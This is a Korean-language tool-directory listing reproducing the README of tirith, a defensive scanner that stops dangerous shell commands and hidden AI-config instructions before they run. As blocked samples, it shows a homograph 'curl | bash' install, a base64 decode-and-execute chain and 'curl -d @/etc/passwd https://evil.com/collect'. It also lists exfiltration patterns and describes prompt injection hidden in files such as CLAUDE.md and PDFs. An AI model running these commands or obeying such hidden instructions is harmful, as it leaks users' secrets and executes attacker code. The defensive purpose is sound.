Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
tirith — 개발자와 AI 에이전트를 위한 터미널 보안. 호모그래프 URL, 파이프-투-셸, ANSI 인젝션, 난독화된 페이로드, 데이터 유출, 악성 AI 스킬/구성(config)이 실행되기 전에 차단합니다. | Kitploit
도구/GitHubGitHub/sheeki03/tirith
OSINT (Open Source Intelligence)Phishing ToolsVulnerability ScannersData ExfiltrationMalware AnalysisDevSecOpsSecret DetectionThreat IntelligenceSupply Chain SecurityLearning & EducationCurated ResourcesOSINT (Open Source Intelligence) #19위
2.7k908일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubsheeki03/tirith

tirith

개발자와 AI 에이전트를 위한 터미널 보안. 호모그래프 URL, 파이프-투-셸, ANSI 인젝션, 난독화된 페이로드, 데이터 유출, 악성 AI 스킬/구성(config)이 실행되기 전에 차단합니다.

저장소 보기웹사이트

tirith

브라우저는 이를 잡아냅니다. 터미널은 그렇지 않습니다.

티리스, 터미널 보안

CI GitHub Stars License: AGPL-3.0

웹사이트 | 문서 | SKILL.md | 변경 로그

Vercel OSS Program

독립적인 오픈 소스 프로젝트이며, 호스팅은 Vercel 오픈 소스 프로그램(2026년 봄 코호트)의 지원을 받습니다.


차이점을 찾을 수 있나요?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

root@kitploit:~
당신은 할 수 없습니다. 터미널도 마찬가지입니다. 두 `і` 문자 모두 키릴 문자(U+0456)이며, 라틴 `i`가 아닙니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 당신이 알아채기도 전에 실행됩니다.

브라우저는 몇 년 전에 이 문제를 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 의심 없이 렌더링합니다. AI 에이전트는 내부를 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.

**Tirith가 문 앞에 서 있습니다.** 명령, 붙여넣은 콘텐츠, 스캔된 파일을 가로채어 서명된 위협 인텔리전스 데이터베이스에서 실행되기 전에 호모그래프 URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 알려진 악성 패키지/도메인/IP를 차단합니다.```bash
brew install tirith

그런 다음 셸 프로필에서 활성화하십시오:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

root@kitploit:~
> [!TIP]
> `eval "$(tirith init)"`는 현재 셸을 자동으로 감지합니다(부모 프로세스를 검사하고 필요 시 `$SHELL`로 폴백). 명시적 `--shell` 플래그는 감지를 재정의하려는 경우에만 필요합니다.

그게 전부입니다. 이제 실행하는 모든 명령이 보호됩니다. 깨끗한 입력에는 제로 마찰. 서브 밀리초 오버헤드. 당신을 구할 때까지 존재조차 잊게 됩니다.

[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) 및 [더 많은 방법](#install)으로도 사용할 수 있습니다.

---

## 작동 확인

**호모그래프 공격, 실행 전 차단됨:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

명령이 절대 실행되지 않습니다.

정리된 URL로 파이프-투-쉘, 경고되었지만 차단되지 않음:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

root@kitploit:~
경고는 stderr로 출력됩니다. 명령은 여전히 실행됩니다.

**Base64 디코딩-실행 체인, 차단됨:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

sudo/env 래퍼와 PowerShell -EncodedCommand를 통한 디코드 체인도 포착합니다.

자격 증명 유출, 차단됨:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

root@kitploit:~
모든 curl/wget 업로드 플래그, 환경 변수(`$AWS_SECRET_ACCESS_KEY`), 및 명령어 치환을 다룹니다.

**스캔에서 발견된 악성 스킬 파일:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

JS/Python 파일에서 난독화된 페이로드, 동적 코드 실행 및 비밀 유출 패턴을 스캔합니다.

일반 명령어, 보이지 않음:``` $ git status $ ls -la $ docker compose up -d

root@kitploit:~
Nothing. zero output. You forget tirith is running.

---

## 감지하는 항목

**34개 카테고리에 걸친 221개의 탐지 규칙.**

| 카테고리 | 차단 내용 |
|----------|--------------|
| **Homograph 공격** | 호스트명의 키릴 문자/그리스 문자 유사어, 퓨니코드 도메인, 혼합 스크립트 레이블, 유사 TLD, 혼동 가능한 도메인, 텍스트 수준 혼동 가능 탐지 (수학 알파뉴메릭, 동일 단어 내 혼합 스크립트) |
| **터미널 인젝션** | ANSI 이스케이프 시퀀스, Bidi 오버라이드, 제로 너비 문자, 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자, 한글 채움 문자 |
| **스테가노그래피 방어** | 보이지 않는 공백 인코딩 (12가지 유니코드 공백 변형), 몽골 모음 구분자, 한글 채움 문자, 수학 알파뉴메릭 치환, st3gg 스타일 텍스트 스테가노그래피 방어 |
| **파이프-투-쉘** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, 모든 소스-투-싱크 패턴 |
| **Base64 디코드-실행** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env 래퍼를 통한 디코드 체인 |
| **데이터 유출** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, 환경 변수 업로드 (`$AWS_SECRET_ACCESS_KEY`), 명령 치환을 통한 유출 |
| **코드 파일 스캐닝** | 난독화된 페이로드 (`eval(atob(...))`), 동적 코드 실행 (`exec(b64decode(...))`), JS/Python 파일 내 `fetch`/`requests.post`를 통한 비밀 유출 |
| **자격 증명 탐지** | AWS 키, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록, 엔트로피 기반 일반 비밀 탐지 |
| **침해 후 행동** | 프로세스 메모리 스크래핑 (`/proc/*/mem`), Docker 원격 권한 상승, 자격 증명 파일 스윕, TeamPCP 및 UNC1069 침해 후 도구에 맞춰 보정됨 |
| **명령 안전성** | Dotfile 덮어쓰기, 민감한 경로로의 아카이브 추출, 클라우드 메타데이터 엔드포인트 접근, 개인 네트워크 접근 |
| **안전하지 않은 전송** | 쉘로 파이프된 일반 HTTP, `curl -k`, 비활성화된 TLS 검증, 목적지를 숨기는 단축 URL |
| **환경** | 프록시 하이재킹, 민감한 환경 변수 내보내기, 환경을 통한 코드 인젝션, 인터프리터 하이잭, 쉘 인젝션 환경 변수 |
| **설정 파일 보안** | 설정 파일 인젝션, 의심스러운 표시기, 설정 파일 내 비ASCII/보이지 않는 유니코드, MCP 서버 보안 (안전하지 않음/신뢰할 수 없음/중복/허용적) |
| **생태계 위협** | Git 클론 타이포스쿼팅, 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, 검증되지 않은 수의사 |
| **설치 명령 안전성** | 파이프된 다운로드로 추가된 APT 저장소, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (비활성화된 서명 확인), 원시/단축 원격 매니페스트에 대한 `kubectl apply -f`, 신뢰할 수 없는 저장소의 Helm 차트, 신뢰할 수 없는 원격 소스의 Terraform 모듈, 임의 URL에서 `brew install`/`tap` |
| **경로 분석** | 비ASCII 경로, 경로 내 호모글리프, 이중 인코딩 |
| **렌더링된 콘텐츠** | 숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석 (High에서 프롬프트 인젝션, Medium에서 파괴적 명령) |
| **클로킹 탐지** | 서버 측 클로킹 (봇 vs 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender 제외 (`Add-MpPreference -Exclusion*`), 인라인 `iex (iwr ...)` 다운로드-실행 |
| **터미널 출력 방어** | OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 및 제목/화면 지우기 조작, 명령 또는 MCP 도구 출력 내 프롬프트 인젝션 (원시 및 난독화 해제 모두 스캔하므로 보이지 않는 문자, 혼동 가능, 띄어쓰기, leetspeak, 짧은 base64/hex 우회도 탐지), 출력 데이터 유출 (비콘 URL 또는 "비밀을 읽은 후 전송" 지시문) |
| **운영 컨텍스트** | 라벨링된 프로덕션 클라우드/k8s 컨텍스트 및 SSH 호스트에 대한 파괴적 명령, 저장된 계획과 일치하지 않는 Terraform/Pulumi/OpenTofu `apply`, 위험한 sudo 권한 상승, 권한 있는 `docker run` |
| **워크스테이션 및 지속성** | 느슨한 권한의 자격 증명 파일 및 평문 토큰 (`~/.ssh`, `~/.aws`, `.npmrc`), 지속성 거점 (쉘 rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH 하이잭 순서, 실행 파일 출처, 위험한 별칭, 민감한 환경 변수 수명 주기 |
| **폭발 반경 및 상관 관계** | 저장소를 벗어나는 삭제, 대량 삭제, 위험한 소스에서 다운로드한 파일 실행, 비밀 작성 후 네트워크 또는 삭제 후 `git push --force`와 같은 세션 체인 |
| **신뢰, 증명 및 출처** | 서명된 명령 카드 불일치, 카나리 허니토큰 접촉, 붙여넣기 소스-호스트 불일치, 호출자 출처 (에이전트) 정책 거부, MCP 잠금 파일 드리프트, 알려진 안전한 스냅샷과 AI 설정 드리프트 |

---

## tirith가 보호하지 않는 항목

Tirith는 명령, 붙여넣은 텍스트, 파일의 **구조**를 실행 전에 분석합니다.
실행 전 게이트 역할을 하며, 런타임 방어가 아닙니다. 따라서 다음을 포함하지 않습니다:

- **런타임 샌드박싱:** tirith는 경고하거나 차단하지만, 명령이 실행된 후 격리하거나 샌드박싱하지 않습니다.
- **실행 후 네트워크 모니터링:** 프로세스가 실행 후 네트워크에서 수행하는 작업은 범위 밖입니다.
- **악성코드/페이로드 탐지:** tirith는 구조를 분석하며 페이로드 동작을 분석하지 않습니다. 안티바이러스가 아니며 폭발시키거나 시그니처 매칭을 하지 않습니다. (`tirith run`은 다운로드된 스크립트의 구조를 확인하지만 여전히 악성코드 분석은 아닙니다.)
- **권한 있는 루트/관리자 공격자:** 이미 루트이거나 관리자인 사람은 tirith를 쉽게 우회할 수 있습니다. 속은 입력으로부터 방어할 뿐, 이미 머신을 장악한 공격자로부터는 방어하지 않습니다.
- **안티 디버깅/안티 변조:** tirith는 리버스 엔지니어링에 저항하지 않으며 로컬 공격자로부터 자체 바이너리를 보호하지 않습니다.

전체 위협 모델 및 명시적 비목표는 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md)를 참조하세요.

---

## 알려진 제한 사항

- **쉘 후크 취약성:** 보호는 설치되어 활성화된 쉘 후크에 의존합니다. 후크는 쉘, 쉘 버전, 프롬프트 프레임워크, 히스토리 도구에 따라 중단되거나 조용히 성능이 저하될 수 있습니다. 실시간 상태를 확인하려면 `tirith doctor`를 실행하고 경고 전용 성능 저하를 주시하세요.
- **Unix 전용 기능:** 데몬 모드, `tirith setup`, `tirith run`, `tirith fetch`는 현재 Unix 전용입니다.
- **패키지 이름 추출 범위:** 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 포함하며, 배포판 패키지 관리자(`apt`, `dnf`, `yum`, `pacman`)는 포함하지 않습니다.
- **AI 에이전트 주의사항:** 쉘 후크 차단은 후크가 설치된 대화형 쉘을 통과하는 명령만 보호합니다. 비대화형 쉘을 생성하거나, `exec`를 직접 호출하거나, 후크가 로드되지 않은 상태에서 실행되는 에이전트는 보호되지 않습니다. MCP 보호는 권고 사항(에이전트가 tirith MCP 도구를 호출해야 함)이며 강제되지 않습니다.

---

## 위협 인텔리전스

Tirith는 패키지, 호스트명, IP 평판에 대한 서명된 로컬 위협 데이터베이스를 제공합니다. 쉘 후크 또는 `tirith check`가 패키지 설치 또는 의심스러운 인프라 참조를 발견하면, 명령이 실행되기 전에 정적 휴리스틱에만 의존하지 않고 데이터베이스와 입력을 매칭합니다.

**서명된 DB** (CI에서 매일 빌드, 다운로드 및 로드 시 검증):

- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 및 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)의 알려진 악성 패키지
- [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)의 악성 IP 인프라
- [ecosyste.ms](https://ecosyste.ms/)의 확인된 타이포스쿼트 및 인기 패키지 기준선
- 런타임 권고 상관 관계를 위한 [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 카탈로그

**선택적 추가 피드** (사용자 로컬 오버레이):

- abuse.ch 인증 키를 통한 [URLhaus](https://urlhaus.abuse.ch/) 및 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/) (Cisco Talos) 및 [Phishing Army](https://phishing.army/) 차단 목록
- [Tor Project](https://www.torproject.org/)의 Tor 종료 노드 목록

**`tirith check` 및 데몬 모드에서 선택적 실시간 보강**:

- [OSV.dev](https://osv.dev/) 권고 조회 (Google OSS)
- [deps.dev](https://deps.dev/) 패키지 건강 신호 (Google OSS) 및 [ecosyste.ms](https://ecosyste.ms/) 관리자 데이터
- 자체 API 키를 사용한 [Google Safe Browsing](https://safebrowsing.google.com/) URL 평판```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

기본적으로 셸 훅과 tirith check는 24시간마다 저렴한 백그라운드 새로고침 검사를 트리거합니다. 데몬 모드는 동일한 보강 경로를 백그라운드에서 계속 활성화 상태로 유지합니다.

threat-db explain은 도메인, 패키지 이름(name, ecosystem:name, 또는 name@version), 또는 IPv4 주소를 받습니다. 바이너리는 항목별 기록을 보존하지 않으므로, threat-db diff는 변경된 정확한 항목이 아닌 스냅샷 간의 카테고리 및 소스별 개수 차이를 보고합니다. 모든 threat-db 명령은 --format json을 지원하며, threatdb는 별칭입니다.

패키지 위험 점수

tirith package risk <ecosystem> <name>은 tirith score가 URL을 점수화하는 방식과 동일하게 패키지의 공급망/유지관리자 위험을 점수화합니다. 이는 결정론적이며 완전히 설명 가능한 명명된 요소들의 합으로, 모델이나 학습된 가중치가 없습니다. tirith package explain <ecosystem> <name>은 요소별 도출 과정을 추가하며, 두 명령 모두 --format json을 지원합니다.```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

root@kitploit:~
**기본적으로 오프라인(Offline by default).** 플래그가 없으면 모든 신호는 로컬에서 처리되며, 네트워크 호출이 없습니다: (1) **이름 vs. 인기 패키지**: 로컬 위협 데이터베이스의 `popular` 집합을 기준으로, 알려진 인기 패키지, 알 수 없음, 또는 인기 이름과 한 글자 차이인 근접 오타(전형적인 타이포스쿼트/슬롭스쿼트 형태); (2) **알려진 악성 타이포스쿼트**: 위협 DB의 `typosquat` 인덱스에서 정확히 일치하는 경우; (3) **설치/생명주기 스크립트** 및 (4) **번들된 바이너리 블롭**은 패키지 콘텐츠가 로컬에서 사용 가능한 경우에만 감지됩니다(`node_modules` / `site-packages` 아래, 또는 `--path`를 통해). tirith는 패키지를 **절대 다운로드하지 않습니다**.

**`--online`은 레지스트리 출처(provenance)를 추가합니다.** 동일한 *요인 합산 모델*에서 npm, PyPI 또는 crates.io의 패키지 레지스트리를 조회하여 여섯 가지 추가 요인을 확인합니다: 패키지/버전 수명, 소유자가 없는 확립된 패키지, 비정상적인 버전 급증, 극히 낮은 다운로드 수, 소스 리포지토리 누락, 그리고 철회/폐기(yanked/deprecated) 상태. 이것이 네트워크에 접촉하는 유일한 경로입니다(`check` 핫 경로는 절대 아님). `--offline` / `TIRITH_OFFLINE`은 오프라인을 강제합니다. 실패 시 `api signals: unavailable`이라는 정직한 메시지와 함께 오프라인 점수로 대체되며, 응답은 TTL로 캐시되어 반복 실행 시 레지스트리에 부담을 주지 않습니다.

점수는 참고용이며 독립적입니다: `package risk`는 탐지 규칙이 아니며, 판정, 종료 코드 또는 감사 로그를 변경하지 않습니다.

### 생태계 스캔, 공급망 방화벽

`tirith ecosystem scan [path]`는 `package risk`의 디렉터리 수준 동반 명령입니다. 프로젝트를 탐색하며, 이해하는 모든 종속성 매니페스트(npm(`package.json`, `package-lock.json`), Python(`requirements*.txt`, `pyproject.toml`), Rust(`Cargo.toml`), Go(`go.mod`), Ruby(`Gemfile`))를 발견하고, 동일한 결정론적 `package_risk` 요인 엔진을 사용하여 **선언된 모든 종속성**에 점수를 매깁니다.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

슬롭스쿼트 탐지를 통합합니다. 슬롭스쿼팅(Slopsquatting) 은 LLM이 종속성으로 환각을 일으키는 경향이 있는 그럴듯하지만 가짜인 이름을 등록하는 행위입니다. ecosystem scan은 세 가지 조건이 모두 충족될 때만 이를 플래그로 표시합니다. 이름이 알려진 실제 이름이나 인기 있는 이름이 아니고, AI 환각 형태(python- / node- 같은 언어 접두사와 설명 토큰, helper / utils / client 같은 일반적인 채우기 단어 스택, 또는 비정상적으로 긴 이름)를 띠고 있으며, 그리고 실제 인기 있는 이름 근처에 위치해 있습니다(한 글자 차이의 근접 철자, 또는 인기 있는 이름을 단어로 포함). 이 세 조건을 모두 요구함으로써 오탐을 낮게 유지합니다. 인기 앵커가 없는 정직한 data-utils는 트리거되지 않습니다.

기본적으로 오프라인, 옵트인 --online. 이름 및 근접 철자 신호는 로컬 위협 데이터베이스에서 가져옵니다. --online은 package risk --online과 정확히 동일하게 게이트 처리되고 성능이 저하되며 check 핫 경로에서는 절대 사용되지 않는 레지스트리 출처를 추가합니다. 발견 결과는 tirith의 일반적인 Verdict / Finding 모델을 통해 흐릅니다. 설명 가능(tirith explain --rule threat_suspicious_package), 감사 로그 기록, 정책 허용 목록 존중(허용 목록에 있는 패키지, 기본 이름 또는 ecosystem:name으로 표시된 경우, 억제됨). 종료 코드는 tirith scan과 일치합니다. 차단 발견 시 1, 권고 시 2, 깨끗할 때 0.

이것은 악성으로 알려진 패키지, 확인된 근접 철자, 슬롭스쿼트된 패키지 이름, 악성 다운로드 인프라, 그리고 실시간 OSV / CISA KEV 자문 데이터가 있는 패키지를 잡아내는 데 도움이 됩니다.

tirith가 설계된 공격 패밀리(설명 목적이며, 현재 코드에 의해 잡힌다는 주장이 아님):

패키지 이름 추출은 현재 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 다루며, 배포판 수준 패키지 관리자(apt / dnf / yum / pacman)는 다루지 않습니다. 이것이 xz-utils가 헤드라인 사건임에도 불구하고 테이블에 없는 이유입니다. xz-utils는 Linux 배포판 타르볼을 통해 유입되었기 때문입니다.


AI 에이전트 보안

Tirith는 AI 코딩 에이전트를 읽는 설정부터 실행하는 명령까지 모든 계층에서 보호합니다.

셸 후크, 수동 명령 가로채기

AI 에이전트가 셸 명령을 실행할 때(Claude Code, Codex, Cursor 등), tirith의 셸 후크는 명령이 실행되기 전에 모든 명령을 가로챕니다. 에이전트 측 구성이 필요하지 않습니다. 셸에서 후크가 활성화되어 있으면 모든 명령이 보호됩니다.

  • 위험한 명령 차단: 호모그래프 URL, 파이프-to-쉘, 안전하지 않은 다운로드
  • 악성 붙여넣기 차단: ANSI 인젝션, bidi 공격, 붙여넣은 콘텐츠의 숨겨진 여러 줄
  • 모든 에이전트와 작동: 셸을 생성하는 모든 도구는 tirith 보호를 상속받습니다.
  • 에이전트 수정 제로: 명령이 차단될 때까지 에이전트는 tirith가 존재하는지 알지 못합니다.

한 번의 명령으로 구성하려면 tirith setup <tool>을 사용하십시오(AI 에이전트 통합 참조).

MCP 서버 (7개 도구)

tirith mcp-server를 실행하거나 tirith setup <tool> --with-mcp를 사용하여 tirith를 MCP 서버로 등록하십시오. AI 에이전트는 조치를 취하기 전에 이러한 도구를 호출할 수 있습니다.

MCP 서버 거버넌스

tirith mcp lock은 저장소가 선언하는 모든 MCP 서버를 .mcp.json / mcp.json / mcp_settings.json 및 IDE 설정 변형들(.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/)에서 캡처하여 .tirith/mcp.lock에 결정론적 잠금 파일로 저장합니다. 각 서버는 전송 방식(원격 URL 또는 로컬 명령 + 인수), 선언된 도구, 콘텐츠 해시와 함께 기록됩니다. 서버는 이름순으로 정렬되어 잠금 파일의 diff가 용이합니다. 검색은 저장소 로컬 전용이며 네트워크에 접촉하지 않습니다. (tirith mcp는 tirith mcp-server와 별개의 명령 그룹입니다. 후자는 tirith 자체를 MCP 서버로 실행합니다.)

tirith mcp verify는 게이팅 동반자입니다. 현재 목록을 커밋된 잠금 파일과 비교하여 불일치 시 1로 종료됩니다(일치 시 0, 잠금 파일 누락 등 사용 오류 시 2). tirith mcp diff는 정보 제공용으로 동일한 불일치를 보고합니다(항상 0으로 종료, 사용 오류 시에만 2). 따라서 소비자는 "불일치 없음"과 "확인 불가"를 구분할 수 있습니다. 불일치는 tirith scan을 통해 mcp_server_drift(Medium)로도 표시되므로, pre-commit 후크나 CI는 고정되지 않은 액션을 잡는 것과 같은 방식으로 MCP 표면 변경을 잡을 수 있습니다. verify / diff는 환경 변수 값이나 URL 사용자 정보를 절대 출력하지 않으며, 변경된 내용의 이름만 출력합니다.

두 가지 정책 필드가 허용되는 것을 제어합니다. scan.trusted_mcp_servers는 서버의 설정 발견을 억제하고 불일치를 무음 처리합니다. scan.mcp_allowed_tools는 각 서버가 노출할 수 있는 정확한 도구를 선언합니다(해당 집합 외부의 도구는 High mcp_server_drift 발견을 표면화하며, 이러한 도구를 추가하는 불일치는 Medium을 High로 업그레이드합니다). tirith mcp policy init은 현재 잠금 파일에서 두 블록을 .tirith/mcp-policy.yaml.example로 스캐폴드합니다. 모든 항목이 주석 처리되어 있어 가져오기가 조용히 신뢰 범위를 확장하지 않습니다.

설정 파일 스캔

tirith scan은 AI 설정 파일에서 프롬프트 인젝션 및 숨겨진 페이로드를 탐지합니다. 50개 이상의 알려진 AI 설정 파일 패턴을 우선 순위화하여 스캔합니다.

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • .claude/ 설정, 에이전트, 스킬, 플러그인, 규칙
  • .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ 설정
  • mcp.json, .mcp.json,

설정에서 잡아내는 것:

  • 프롬프트 인젝션(스킬 활성화 트리거, 권한 우회 시도, 안전 해제, ID 재할당, 교차 도구 재정의 지시). 각 파일은 원시 및 난독 해제(보이지 않는 문자, 혼동 문자, 문자 간 간격, leetspeak, 짧은 base64/hex) 모두 스캔되므로 인코딩 뒤에 숨겨진 시드도 탐지됩니다.
  • 보이지 않는 유니코드: 너비 0 문자(몽골 모음 분리자 포함), bidi 제어, 소프트 하이픈, 유니코드 태그, 한글 채움 문자, 보이지 않는 공백 인코딩, 수학 영숫자 혼동 문자
  • MCP 설정 문제: 안전하지 않은 HTTP 연결, 원시 IP 서버, 인수의 셸 메타문자, 중복 서버 이름, 와일드카드 도구 액세스

CI / 저장소 공급망 스캔

tirith scan은 또한 저장소가 자체 빌드 및 배포 파이프라인을 설명하기 위해 체크인한 파일을 검사합니다. 위험한 패턴을 탐지하며, 도구 자체를 탐지하지 않습니다. SHA 고정 액션, 다이제스트 고정 이미지, 로컬 Terraform 모듈, 정상적인 package.json은 깨끗하게 유지됩니다.

CI / 인프라 파일에서 잡아내는 것:

  • GitHub Actions 워크플로우(.github/workflows/*.yml): 액션 uses: 참조가 커밋 SHA 대신 변경 가능한 ref(@v3, @main)에 고정됨; pull_request_target 트리거; run: 단계의 curl … | bash 파이프-to-쉘; 공격자가 제어 가능한 ${{ github.event.* }} 값이 run: 셸 단계에 삽입됨(스크립트 인젝션)
  • Dockerfile: FROM 기본 이미지가 @sha256: 다이제스트 고정 없이 변경 가능한 latest 태그(또는 태그 없음)에 있음
  • Terraform(*.tf): module 블록이 로컬 경로 또는 Terraform 레지스트리 대신 원격/신뢰할 수 없는 위치에서 소싱됨

세 가지 내장 --profile 값이 스캔을 조정합니다. ci-hardening(모든 검사 최대 강도, high에서 실패), ai-agent-repo(인젝션 발견 유지, 낮은 가치의 고정 위생 노이즈 제거), oss-maintainer(변경 사항 검토 시 기여자가 제어 가능한 위험을 강조).```bash tirith scan ./ # scan the repo tirith scan --profile ci-hardening ./ # tune for CI/CD hardening tirith scan --format sarif ./ > out.sarif

root@kitploit:~
### 숨겨진 콘텐츠 탐지

HTML, Markdown, PDF에서 사람에게는 보이지 않지만 AI가 읽을 수 있는 콘텐츠를 감지합니다:

- **CSS 숨기기**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, 화면 밖 위치 지정
- **색상 숨기기**: 흰색 위 흰색 텍스트, 유사한 전경/배경(대비율 < 1.5:1)
- **HTML/Markdown 주석**: 프롬프트 인젝션 구문(높음), `rm -rf` 또는 `curl|bash` 같은 파괴적 명령(중간), 지침을 숨기는 긴 주석(낮음)
- **PDF 숨겨진 텍스트**: 서브픽셀 렌더링 텍스트(font-size < 1px)로 사람이 읽을 수 없지만 LLM이 구문 분석 가능

### AI 관련 파일의 숨겨진 콘텐츠 스캔

`tirith scan`은 또한 AI 코딩 에이전트(또는 렌더러)가 읽고 실행하는 파일 형식을 검사하여, **인간 검수자를 우회해 밀반입된** 콘텐츠를 찾습니다. 일반 노트북, 눈에 보이는 지침이 있는 평범한 `CLAUDE.md`, SVG 이미지는 깨끗하게 남으며, 숨겨지거나 밀반입된 콘텐츠만 플래그를 발생시킵니다.

- **Jupyter 노트북**(`*.ipynb`): 셀 소스의 보이지 않는/양방향/폭 없는 문자, 소스에 포함된 base64 인코딩 blob, 렌더링 보기에서 숨겨진 셀(`metadata.jupyter.source_hidden` / `hide_input` 태그), 그리고 보이지 않는 문자나 활성/숨겨진 HTML을 포함한 셀 *출력*
- **AI 에이전트 명령 파일**(`CLAUDE.md`, `AGENTS.md`, `.cursorrules` 등), *숨겨진* 지시문만: HTML 주석 안의 지시문(렌더링된 Markdown에서 보이지 않음) 또는 시각적으로 숨겨진 HTML 요소. 이러한 파일은 정당하게 눈에 보이는 지침을 포함하므로 일반적인 보이는 지침은 절대 플래그를 발생시키지 않음
- **SVG 이미지**(`*.svg`): 포함된 `<script>`, 인라인 `on*` 이벤트 핸들러, `javascript:` URI, 원격 `xlink:href` / `href`, 또는 XXE 외부 엔터티 선언

### 클로킹 탐지

`tirith fetch`는 6개의 사용자 에이전트(Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl)에 걸쳐 서버 응답을 비교하여 서버가 AI 봇과 브라우저에 다른 콘텐츠를 제공하는지 감지합니다.

---

## 운영 컨텍스트 및 워크스테이션 보호 장치

단일 명령 외에도 여러 명령 그룹이 게이트를 운영 컨텍스트 및 워크스테이션 상태로 확장합니다. 핫 경로에 영향을 미치는 것은 옵트인(정책 플래그)이며, 나머지는 필요 시 실행됩니다.

**운영 컨텍스트**(`tirith context`, `ssh`, `iac`, `sudo`). 프로덕션 클라우드 / Kubernetes 컨텍스트 및 SSH 호스트를 한 번 레이블 지정하면, tirith가 중요한 사항을 상향 조정합니다: 레이블이 지정된 프로덕션 컨텍스트에 대한 파괴적 명령, 레이블이 지정된 프로덕션 호스트에 대한 SSH, 저장된 계획과 일치하지 않는 Terraform / Pulumi / OpenTofu `apply`, 또는 이유가 명시된 세션 창 없이 sudo 권한 상승. 레이블은 `~/.config/tirith/context-labels.yaml` 및 `ssh-host-labels.yaml`(또는 리포지토리 범위로 `.tirith/` 아래)에 저장됩니다.

